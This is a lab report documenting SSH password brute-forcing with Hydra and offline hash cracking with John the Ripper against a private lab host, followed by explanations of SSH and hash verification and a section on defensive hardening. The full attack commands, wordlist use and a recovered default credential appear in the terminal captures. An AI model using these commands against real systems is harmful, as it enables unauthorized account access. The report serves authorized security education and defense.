

Mechanical Overview of Password Verification & Hash Analysis

Technical Security Lab Report — SSH Authentication and Offline Password Hash Verification

Objective: To document the observed authentication-testing workflow, explain the mechanics of SSH password verification and local cryptographic hash matching, and identify defensive controls that reduce brute-force and credential-auditing risk.

Scope and ethics: The screenshots show security testing performed against a lab/private IP environment. The techniques described should only be used on systems for which the tester has explicit authorization.

1. Evidence from the Practical Session

The following screenshots are included as evidence of the commands and results observed during the lab exercise. They are reproduced without modification.

```
$ hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.56.10
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-11 09:57:42
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://192.168.56.10:22/
[22][ssh] host: 192.168.56.10 login: msfadmin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-11 09:57:47

(adil@kali)-[~]
$
```

Figure 1. Terminal evidence from the password verification / SSH security lab.

```
msfadmin@192.168.56.10:~$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
(adil@kali)-[~/Downloads]
$ sudo john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 2 for all loaded hash
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 10 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password (msfadmin)
1g 0:00:00:00 DONE (2026-08-10 12:35) 20.00g/s 1920p/s 1920c/s 123456..yellow
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

(adil@kali)-[~/Downloads]
$
```

Figure 2. Terminal evidence from the password verification / SSH security lab.

```
(adil@kali)-[~/Documents]
$ john --show hashes.txt
msfadmin:password:20675:0:99999:7:::

1 password hash cracked, 0 left
```

Figure 3. Terminal evidence from the password verification / SSH security lab.

2. Mechanical Overview of Password Verification & Hash Analysis

Password security relies on two related but technically different mechanisms: authentication protocols operating over a network, such as SSH, and local cryptographic password verification using stored password hashes. Understanding the distinction is important because online authentication testing is constrained by the service, while offline hash analysis is primarily constrained by the password-hashing algorithm and available computing resources.

2.1 Network Authentication Mechanics (SSH)

- **Protocol handshake:** An SSH client and server first negotiate cryptographic parameters and establish an encrypted transport. Modern deployments commonly use ephemeral Diffie–Hellman/ECDH-style key exchange, with the server authenticated using a host key. The exact algorithms depend on the server's configuration.
- **Authentication request:** After the secure transport is established, the client can request user authentication using the password method. The username, service, authentication method, and password are carried inside the already encrypted SSH connection.
- **Server verification:** The SSH daemon (sshd) passes authentication through the configured authentication stack, commonly PAM on Linux. The stack verifies the supplied password against the local account database or an external identity provider such as LDAP/AD, depending on system configuration.
- **Rate limits and failures:** Repeated authentication failures can be logged by sshd and the system logging framework. Administrators can use these records for detection, alerting, throttling, and automated blocking.

2.2 Local Cryptographic Hash Matching

- **One-way password functions:** Passwords should not be stored as plaintext. Linux systems commonly use salted password-hashing schemes such as yescrypt, bcrypt, or sha512crypt depending on distribution and configuration. Modern deployments should prefer an appropriately configured memory-hard or slow password hashing scheme.
- **Verification process:** For a login, the system extracts the stored algorithm parameters and salt, applies the same password-hashing function to the candidate password, and compares the resulting verifier with the stored value. A match means the candidate is correct.
- **Offline auditing:** When an authorized tester has obtained a password hash, an offline auditing tool can test candidate passwords without repeatedly contacting the SSH service. This removes network round-trip and server rate-limit constraints, making the hash's work factor especially important.
- **Compute constraints:** The number of candidate evaluations per second depends on the algorithm, cost/work factor, salt handling, hardware, and implementation. Key stretching deliberately makes each guess more expensive.

3. Interpretation of the Screenshots

The screenshots demonstrate three stages of the lab workflow:

- **SSH authentication test:** The Hydra output records an SSH authentication attempt against the lab host and reports that a valid credential was found. This demonstrates online password authentication testing.
- **Hash auditing:** The John the Ripper output shows a password hash being loaded and processed with a wordlist. The status indicates that a matching password was found during the authorized offline audit.
- **Result verification:** The final John output displays the recovered password associated with the hash, demonstrating that the candidate list contained the correct credential.

Important distinction: The successful SSH login test and the successful local hash recovery are related to the same credential in the lab, but they are different attack surfaces. Online testing interacts with a live service; offline hash testing operates on a captured verifier.

4. Defensive Controls & Hardening

The following controls reduce the likelihood and impact of password brute-force attacks and offline credential recovery.

4.1 Key-Based SSH Authentication

- Prefer public-key authentication, such as Ed25519 keys protected by strong passphrases, instead of reusable SSH passwords.
- Where operationally appropriate, disable SSH password authentication in `/etc/ssh/sshd_config` with `PasswordAuthentication no`, then validate the configuration and reload/restart `sshd` safely.
- Use least privilege: prohibit direct remote login for unnecessary privileged accounts and restrict administrative access to approved users or groups.

4.2 Automated Network Blocking

- Use tools such as Fail2ban to monitor authentication logs for repeated failures and temporarily block abusive sources.
- Prefer firewall controls through `nftables` or another supported host/network firewall mechanism.
- Combine blocking with monitoring and alerting so that repeated failures are investigated rather than silently ignored.

4.3 Strong Password Hashing Standards

- Use a modern, salted password hashing scheme with an appropriately high computational and, where supported, memory cost.
- Do not use unsalted fast hashes such as plain MD5 or SHA-1 for password storage.
- Review PAM/password-policy configuration and ensure the selected hashing method is supported by the operating system and tuned for the organization's hardware.

4.4 Multi-Factor Authentication (MFA)

- Add a second authentication factor so that knowledge of a password alone is insufficient.
- TOTP-based MFA can be integrated through appropriate PAM modules. For stronger phishing resistance, FIDO2/WebAuthn security keys are preferable where supported.

4.5 Password Policy and Credential Hygiene

- Use long, unique passwords or passphrases and prevent reuse of passwords across services.
- Consider password managers for generating and storing unique credentials.
- Rotate or reset credentials when compromise is suspected, rather than relying only on periodic mandatory changes.

5. Online vs. Offline Verification

Characteristic	Online SSH Authentication	Offline Hash Analysis
Target	Live SSH service	Captured password hash
Network required	Yes	No
Main constraint	Service controls, latency, rate limits	Hash algorithm, work factor, hardware
Detection	Usually visible in authentication logs	May be invisible to the original service
Primary defense	Keys, MFA, rate limiting, blocking	Strong salted password hashing

6. Risk Assessment

The lab results show that weak or predictable credentials can be recovered through both online and offline testing when the environment permits it. The more serious risk is not the individual testing tool but the underlying credential weakness: a password appearing in a common wordlist can be discovered quickly. If the same password is reused elsewhere, compromise of one system can increase the risk to other accounts.

Recommended priority: deploy MFA and key-based SSH authentication first for remote access; enforce strong, unique credentials; use a modern password-hashing scheme; and implement monitoring, rate limiting, and automated blocking for suspicious authentication activity.

7. Conclusion

This practical exercise demonstrates the difference between online authentication testing and offline password-hash auditing. SSH protects password transmission through an encrypted channel, but encryption does not make weak passwords strong. Once a password hash is obtained, the security of the password depends heavily on its unpredictability and the computational cost of the hashing scheme. A defense-in-depth strategy combining strong authentication, MFA, robust password hashing, logging, rate limiting, and automated response provides substantially stronger protection.

Appendix A — Key Terms

- **SSH:** Secure Shell protocol used for secure remote administration and other encrypted communications.
- **sshd:** SSH server daemon that accepts and processes SSH connections.
- **PAM:** Pluggable Authentication Modules framework used by Linux services to implement authentication policies.
- **Salt:** Random value incorporated into password hashing to prevent identical passwords from producing identical stored hashes and to defeat precomputed hash tables.
- **Work factor:** Configurable computational cost intended to slow password-guessing attempts.
- **MFA:** Multi-factor authentication requiring two or more independent authentication factors.

End of Report